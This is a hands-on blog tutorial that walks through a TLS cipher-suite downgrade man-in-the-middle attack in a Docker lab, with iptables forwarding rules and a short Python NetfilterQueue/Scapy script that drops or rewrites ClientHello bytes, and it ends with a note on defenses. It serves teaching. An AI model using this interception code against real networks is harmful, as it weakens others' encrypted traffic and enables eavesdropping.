Hands-on guide: A TLS downgrade attack with NetFilter's Queues and Docker

Introduction. This article is a hands-on, practical guide on downgrading a SSL/TLS connection. Downgrading is a well-known technique to weaken the security of encrypted communications. TLS is used to encrypt the traffic of HTTPS web pages, preventing bad guys from seeing what you do; among other features, newer versions of TLS often fix security flaws. However, the Internet is not upgradable overnight, and servers usually still support legacy (meaning: less secure) versions of the protocol, in case of an old device showing up. The game here is to perform a Man-in-the-Middle attack, and trick both client and server into using an older, weaker TLS version, while both would support the latest, most secure version.

Image source : softpedia.com

The boring part: the basics

Feel free to skip to the fun part if you know TLS and docker!

What you should know about TLS

Let's start with a tad of theory. The TLS protocol starts with a handshake phase where the client and the server notably agree on which encryption to use later on during the subsequent communication phase. While the later phase is encrypted (and integrity-protected), the handshake is sent in cleartext and does not have integrity-protection, allowing us to run the downgrade attack.

 Client                                           Server
| (1) ClientHello       -------->                      |
|                       <--------      ServerHello (2) |

In (1), the client proposes some encryption functions (same for hashing and compressing) he agrees to use; in (2), the server responds with one he supports.

In this tutorial, we'll alter the ClientHello message, to pretend the client only support old encryption functions. We first have to understand the structure of this message; the most precise resource is the corresponding IETF RFC [7], but we'll start by using a diagram from a blog post [8]:

            ClientHello
          *****************
         record type (1 byte)
        /
       /    version (1 byte major, 1 byte minor)
      /    /
     /    /         length (2 bytes)
    /    /         /
 0    1    2    3    4
 +----+----+----+----+----+
 |    |    |    |    |    |
 |    |    |    |    |    | TLS Record header
 +----+----+----+----+----+

 Record Type Values       dec      hex
 -------------------------------------
 CHANGE_CIPHER_SPEC        20     0x14
 ALERT                     21     0x15
 HANDSHAKE                 22     0x16
 APPLICATION_DATA          23     0x17

 Version Values            dec     hex
 -------------------------------------
 SSL 3.0                   3,0  0x0300
 TLS 1.0                   3,1  0x0301
 TLS 1.1                   3,2  0x0302
 TLS 1.2                   3,3  0x0303

This tells us how to recognize the TLS handshake, which starts by 0x16, 0x03, 0x0?. Now digging through the RFC, we learn the subsequent fields:

# ClientHello
struct {
  ProtocolVersion client_version;           # payload[0:2] : version of SSL/TLS the client wishes to use
  Random random;                            # payload[2:34] : contains a timestamp and a random number
  opaque SessionID;                         # payload[34:35] : size of Session ID
                                            # payload[35:x] : session ID (optional)
  CipherSuite cipher_suites;                # payload[x:x+1] : size of cipher suites
                                            # payload[x+1:y] : cipher suites
  CompressionMethod compression_methods;    # ...
  ...
} ClientHello;

And finally, we learn how the cipher suites are represented in the message:

CipherSuite TLS_RSA_WITH_NULL_MD5                 = { 0x00,0x01 };
...
CipherSuite TLS_RSA_WITH_AES_128_CBC_SHA          = { 0x00,0x2F };
CipherSuite TLS_RSA_WITH_AES_256_CBC_SHA          = { 0x00,0x35 };
...

We have all the knowledge we need ! To summarize, we'll perform a downgrade attack by editing on the fly a ClientHello message, which we'll recognize by the header 0x16, 0x03, and change the bytes representing the proposed cipher suites, located at payload[x+1:y].

What you should know about Docker

To emulate this scenario, you will run Docker images locally. Similar to Virtual Machines, they will behave like physical machines connected to the network. You will need to install docker [1] to run this tutorial.

In this tutorial, we will download one image from DockerHub, and build another manually using a Dockerfile. An image is a blueprint for a container, a running instance. To run an image (and create a container), execute:

$ docker run --name=CONTAINER_NAME IMAGE_NAME

If you don't have IMAGE_NAME locally, docker will try to pull it from Docker Hub [2]. The command will try to create a container CONTAINER_NAME, and fail if it already exists. You can list your containers with:

$ docker ps -a

... and remove a container with:

$ docker rm CONTAINER_NAME

To spawn a shell in a running container, run:

$ docker exec -it CONTAINER_NAME /bin/sh

Note: Depending on your operating system, the docker command might require sudo [3]. Add it if necessary.

We're good to go!

The fun part: hands-on

Scenario. You're John, a young malware analyst. You were given the task to analyze an infected machine on your company network. The malware reset the machine, and you lost all access to it. Before the sysadmins wipe the machine clean, you have a few hours to report on the incident.

Infected Machine TLS 1.2 with AES 258 Internet
Figure 1: the infected machine communicating with the Internet using TLS1.2

You decide to check out if the machine is communicating with the Internet. After running Wireshark, you realize the malware is still very alive, and talking to an evil Command&Control (C&C) server. Communications happen on the port 443, and you suspect the C&C server controls its botnet using the standard HTTPS protocol, probably to avoid being blocked by corporate firewalls. Alas, you're unable to decipher the communications : HTTPS is end-to-end encrypted, here using the TLS1.2 protocol. Let's downgrade it to a weaker version!

Setup

Getting the infected machine. To emulate this scenario, you will need the "infected" machine (which is of course perfectly safe). It contains a simple script that regularly contacts this website using TLSv1.2.

In a new terminal, run:

$ docker run --cap-add=NET_ADMIN --name=infected lbarman/downgrade-demo-infected:latest

Initiating connection to evil C&C server lbarman.ch ...
Server reachable, performing handshake...
Available ciphers:
TLSv1.2:
  ciphers:
    TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
    TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
Using stronger cipher suite (AES 256)...              <- your downgrade attack failed !
Exchanging secret stuff on this very secure channel...
Done.

You see now concretely what you will achieve: make this docker container connect using AES_128 instead of AES_256. A true downgrade attack that you could pull on someone ! (please don't)

Please keep this terminal open, we will need it later.

Building the MitM machine. You will build and run yourself the analysis machine's docker image; that way, it will be much easier to change its behavior through this tutorial. Let's work in the folder /tmp/downgrade. In a new terminal, create the Dockerfile as follows:

$ mkdir -p /tmp/downgrade
$ cd /tmp/downgrade
$ cat >Dockerfile << EOF
FROM ubuntu:latest                                   # build from the latest Ubuntu on DockerHub
                                                     # install additional stuff:
RUN apt-get update
RUN apt-get install -y --no-install-recommends apt-utils nano iptables python3 python3-pip tcpdump
RUN apt-get install -y --no-install-recommends net-tools python3-dev build-essential libnetfilter-queue-dev
RUN pip3 install --upgrade pip
RUN pip3 install setuptools
RUN pip3 install NetfilterQueue
RUN pip3 install scapy-python3

WORKDIR /work
CMD ["sleep", "9999999"]                            # when booting, do nothing
EOF
$ docker build -t mitm_machine .                    # build the image from this folder

Finally, in this second terminal, start the container from the image you just built:

$ docker run -d --cap-add=NET_ADMIN -v=/tmp/downgrade:/work --name=mitm mitm_machine

Since we provided -d, the container is running in background, unlike the infected machine.

Hijacking the connection

The first thing is to route the traffic of the infected machine through the MitM machine we just created. At first, it will simply relay the traffic, much like a router; later, we'll alter the traffic.

In the malware scenario, as John, you could achieve this by changing the configuration of the DHCP server running on the corporate network. When a machine connects (by Ethernet or WiFi) to a LAN, it makes a request to the default DHCP server, which answers with the following triplet of information:

IP Address:      10.0.1.17
Network Mask:    255.255.255.0
Default Gateway: 10.0.1.1
The Default Gateway field indicates where to send the packets destined to "the Internet", it is typically the IP address of the router. Since you, John, have control over the DHCP server of your company, you can change this value to the IP of the MitM machine, which will then receive packets destined to the Internet. To finish this part of the story, you'll also need to enable the flag IP_Forward and set the Default Gateway to the real address to have the MitM machine behave really like a router.

Infected Machine Man-in-the-Middle Machine Internet
Figure 2: the infected machine communicating with the Internet through the MitM machine.

Luckily, here we have a much simpler option. In our artificial Docker setup, everything runs in our host machine. Hence, it is possible to connect to the running docker container, and change its configuration directly.

First, Let's get the MitM machine's IP address :

$ docker exec -it mitm ifconfig eth0 | head -n 2 | tail -n 1
inet addr:172.17.0.2  Bcast:0.0.0.0  Mask:255.255.0.0

Now let's change the default gateway of the infected machine to our MitM machine:

$ docker exec -it infected /bin/sh
/infected # route del default
/infected # route add default gateway 172.17.0.2 eth0

The MitM machine needs to have the IP_Forward flag set to 1 to forward packets destined to other recipients to the Internet, otherwise it will drop them. It is already set in this docker image/container. Should you want to check:

$ docker exec -it mitm /bin/sh
/mitm # sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1            # all good

Finally, we need to add rules to the firewall of the MitM machine. The first one allows transiting packets (FORWARD...ACCEPT), and the second MASQUERADE rewrites the source IP of forwarded packets as the MitM machine's IP, to receive the potential replies. This is exactly what a router does.

$ docker exec -it mitm /bin/sh
/mitm # iptables -A FORWARD -i eth0 -j ACCEPT
/mitm # iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

At this point, messages sent by the infected machine go through the MitM machine, which forwards them to its own Gateway address, towards the Internet. You can run wireshark/tcpdump on the MitM machine to check this; it is left as an exercise for the interested reader ;)

Capturing the traffic with Netfilter's queues

As said, the MitM machine simply forwards the packets it receives. We want to have a way to view and edit them; with iptables, let's now tell the kernel to store the packets in a queue. On the MitM machine, run :

$ docker exec -it mitm /bin/sh
/mitm # iptables -D FORWARD -i eth0 -j ACCEPT
/mitm # iptables -A FORWARD -j NFQUEUE --queue-num 0

You could be more specific with respect to the packets you put in the queue, for instance by adding -p tcp --dport 443 in the command above; this is not required here. Notice that the MitM machine does not forward packets anymore, and the infected machine has lost Internet connectivity.

Now comes the fun part; actually modifying the traffic that goes through the MitM machine. We'll use python, and two packages: NetFilterQueue [5] to bind to the packet queues, and Scapy [6] to parse the packets. Let's create a file /tmp/downgrade/intercept.py with the following contents:

#!/usr/bin/python3
from netfilterqueue import NetfilterQueue
from scapy.all import *

nfQueueID         = 0
maxPacketsToStore = 100

def packetReceived(pkt):             # called each time a packet is put in the queue
  print("New packet received.")
  pkt.accept();                      # accepts and forwards this packet to the appropriate network address

print("Binding to NFQUEUE", nfQueueID)
nfqueue = NetfilterQueue()
nfqueue.bind(nfQueueID, packetReceived, maxPacketsToStore) # binds to queue 0, use handler "packetReceived()"
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('Listener killed.')

nfqueue.unbind()

Using NetfilterQueue, we can interact with the queue created before. Each time a packet is put in the queue, the function packetReceived will be called. For now, the script above simply forwards the received packets using pkt.accept(). Notice that the script is also accessible in the MitM machine in /work/interceptor.py. To run it, simply perform:

$ docker exec -it mitm /bin/sh                              # enter the mitm machine
/mitm # python3 ./interceptor.py                            # start forwarding the incoming traffic
Binding to NGQUEUE 0
...

Currently, we (again) simply forward the packets, but now in Python. Don't despair, we're progressing!

Selective packet dropping

Most of the needed information was already presented in the intro: we need to alter the Client Hello message, which starts with the bytes 0x16, 0x03, and we just need to find the exact index of the cipher suites in the Client Hello. Fire up wireshark on the host, and bind it on the docker network adapter 172.17.0.0. Let it capture packets for a while, then look for a Client Hello packet which targets TLS1.2 (see Figure 3).

Figure 3: Client Hello's for TLS1.2 captured in Wireshark. Colorized by conversation and filtered in the client->server direction.

Why are there two Client Hello packets ? Indeed, this is where the infected machine deviates from the behavior of a normal web browser. The infected machine actually scans for all known SSL/TLS versions and ciphers with nmap, which don't fit in one handshake, resulting in multiple packets. A web browser would send only one Client Hello containing a few cipher suites.

In wireshark, we can interactively explore the Client Hello packet. You can see that one proposes the suite TLS_RSA_WITH_AES_256_CBC_SHA, and the other TLS_RSA_WITH_AES_128_CBC_SHA.

Figure 4: Bytes indicating the cipher suite in the Client Hello.

In Figure 4, we recognize the bytes 0x00 0x35 which represent TLS_RSA_WITH_AES_256_CBC_SHA, and see their position 46 in the TCP payload, 112 in the frame. First, let's drop the packet corresponding to AES_256, leaving the one with AES_128 untouched.

In /tmp/downgrade/interceptor.py, change the function packetReceived :

def packetReceived(pkt):
  print("Accepted a new packet...")
  ip = IP(pkt.get_payload())
  if not ip.haslayer("Raw"):                               # not the Handshake, forward
    pkt.accept();
  else:
    tcpPayload = ip["Raw"].load;                           # "Raw" corresponds to the TCP payload

    if tcpPayload[0] == 0x16 and tcpPayload[1] == 0x03 and tcpPayload[46] == 0x00 and tcpPayload[47] == 0x35:
      pkt.drop();                                          # drop TLS_RSA_WITH_AES_256_CBC_SHA
    else:
      pkt.accept();                                        # not the Handshake, forward

Now, kill and restart the intercept.py in the MitM machine. Drumroll... check out the console of the infected machine:

Initiating connection to evil C&C server prifi.net ...
Server reachable, performing handshake...
Available ciphers:
TLSv1.2:
  ciphers:
    TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
  compressors:
Using weaker cipher suite (AES 128)...
Success !

Ta-da !

The infected machine is talking to the Internet through the MitM machine, which weakened the TLS connection.

Selective packet edition

Ok, so dropping a message is intuitively easy. What about editing? Could you change AES_256 into AES_128 if there were only one packet ? Yes indeed ! Let's edit the packet on the fly, and change 0x00 0x35 by 0x00 0x2F.

def packetReceived(pkt):
  print("Accepted a new packet...")
  ip = IP(pkt.get_payload())
  if not ip.haslayer("Raw"):
    pkt.accept();
  else:
    tcpPayload = ip["Raw"].load;
    if tcpPayload[0] == 0x16 and tcpPayload[1] == 0x03 and tcpPayload[46] == 0x00 and tcpPayload[47] == 0x35:
      # we located the Handshake
      msgBytes = pkt.get_payload()       # msgBytes is read-only, copy it
      msgBytes2 = [b for b in msgBytes]
      msgBytes2[112] = 0x00
      msgBytes2[113] = 0x2F
      pkt.set_payload(bytes(msgBytes2))
      pkt.accept()

    else:
      pkt.accept();

This is actually what you would need to perform a downgrade attack on a web browser, since as mentioned, the browser only sends one Handshake. In that single packet, you can edit the available cipher suite as shown just above. Dropping this packet would fully downgrade from HTTPS to HTTP, by the way.

Conclusion

One take-away message is perhaps that editing network messages on-the-fly is very accessible, with very high-level tools, and a MitM can be done in 20 lines of Python. Think twice when you connect to someone's hotspot :)

What defenses do we have against this? The full downgrade from HTTPS to HTTP can be prevented with HSTS [9] (but the website you visit needs to enable it); the more subtle downgrade we did (weakening the cipher suite) in general cannot be prevented, but well-configured clients and servers usually don't even support the weakest suites, as they get disabled over time.

Thanks for reading! The sources for the Docker images are here.

Big shout-out to christophetd and hmil for their help!

 

References :

  1. [1] Install Docker
  2. [2] Docker Hub
  3. [3] Why we don't let non-root users run Docker in CentOS, Fedora, or RHEL
  4. [4] Diffie-Hellman Key Exchange
  5. [5] NetfilterQueue 0.8.1
  6. [6] Scapy's documentation
  7. [7] RFC 5246 - The Transport Layer Security (TLS) Protocol Version 1.2
  8. [8] TLS Record Protocol Format
  9. [9] HTTP Strict Transport Security
Ludovic Barman
Ludovic Barman
written on :
02 / 11 / 2017